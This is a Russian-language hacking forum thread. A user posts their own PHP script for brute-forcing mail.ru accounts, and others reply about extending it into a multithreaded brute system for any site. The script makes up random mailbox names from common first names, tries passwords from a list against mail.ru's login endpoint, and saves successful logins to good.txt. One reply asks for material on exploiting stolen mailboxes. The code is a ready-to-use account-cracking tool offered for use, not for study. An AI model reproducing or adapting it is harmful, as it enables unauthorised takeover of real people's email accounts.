Выкладываю скрипт моего изготовления для вечного брута сервиса mail.ru Особенности скрипта: Генерирует мыльник после чего брутит его Подбирает пароли из списка Гуды записывает в good.txt Вечно брутит =) льете в pass.txt пассы идет перебор =) Официально Выкладываю в паблик, более совершенные версии будут платные =) сам скрипт: Литбит Дипозит Замечу заранее скрип чисто стебный, но все же реально брутит =)
Что в дальнейшем планируется, расширять список при генерации мыльника? Ведь много зависет от ресов что у пользователей.
да тут дело не в том, скрип мего не рациональный и создан лишь в экспериментальном плане, а в дальнейшем планируеться сделать многопоточный рациональный скрипт который либо по базе либо геном но не повторяющимся будет переберать мыльники, можно по 1 пассу можно пачка мино 1 мыл можно базу, ну и т.д. прост завизать по всем напровлениям опять же в качесве изучения а далее можно создать уже готовую бурт систему под любой сайт, структуру логина и пасса и т.д.
простите за оффтоп, есть темы по отработке мыл с mail.ru? чтобы не засорять тему накидайте пожалуйста ссылок в ЛС
PHP: <?php set_time_limit(0); error_reporting (0); for ($a=0;$a=='ff';$a){ $login=nikgener(); $domain="mail.ru"; $at="@"; $xfile = @file("pass.txt"); for ($i=0;$i<count($xfile);$i++) { $pass = trim($xfile[$i]); $hostname = "win.mail.ru"; $path = "/cgi-bin/auth"; $fp = fsockopen($hostname,80); if(!$fp){ echo"�****��!"; } else{ $data = "Login=$login&Domain=$domain&Password=$pass&page=1&post=1&login_from=1\r\n\r\n"; $headers = "POST $path HTTP/1.1\r\n"; $headers .= "Host: $hostname\r\n"; $headers .= "Connection: close\r\n"; $headers .= "User-Agent: Opera/9.20 (Windows NT 6.0; U; en)\r\n"; $headers .= "Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,* /*;q=0.5\r\n"; $headers .= "Accept-Language: en-us,en;q=0.5\r\n"; $headers .= "Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\n"; $headers .= "Referer: $hostname\r\n"; $headers .= "Content-Type: application/x-www-form-urlencoded\r\n"; $headers .= "Content-Length: ".strlen($data)."\r\n\r\n"; fputs($fp,$headers.$data); while(!feof($fp)) { $file_saper=fread($fp,1000); if (eregi("Mpop",$file_saper)) { $fp=fopen("good.txt","a"); fputs($fp,"$login$at$domain;$pass\r\n"); fclose($fp); echo"$login$at$domain;$pass\r\n<br>"; exit; } } } } fclose($fp); } function nikgener(){ $nik= array('alex','andrey','oleg','alena','masha','nina','olyga','anna'); $niknumer= mt_rand(1,count($nik)-1); $numer= mt_rand(1,4); switch ($numer){ case 1: $mail.=$nik[$niknumer].mt_rand(0,9); break; case 2: $mail.=$nik[$niknumer].mt_rand(0,9).mt_rand(0,9); break; case 3: $mail.=$nik[$niknumer].mt_rand(0,9).mt_rand(0,9).mt_rand(0,9); break; case 4: $mail.=$nik[$niknumer].mt_rand(0,9).mt_rand(0,9).mt_rand(0,9).mt_rand(0,9); break; } return $mail; } ?>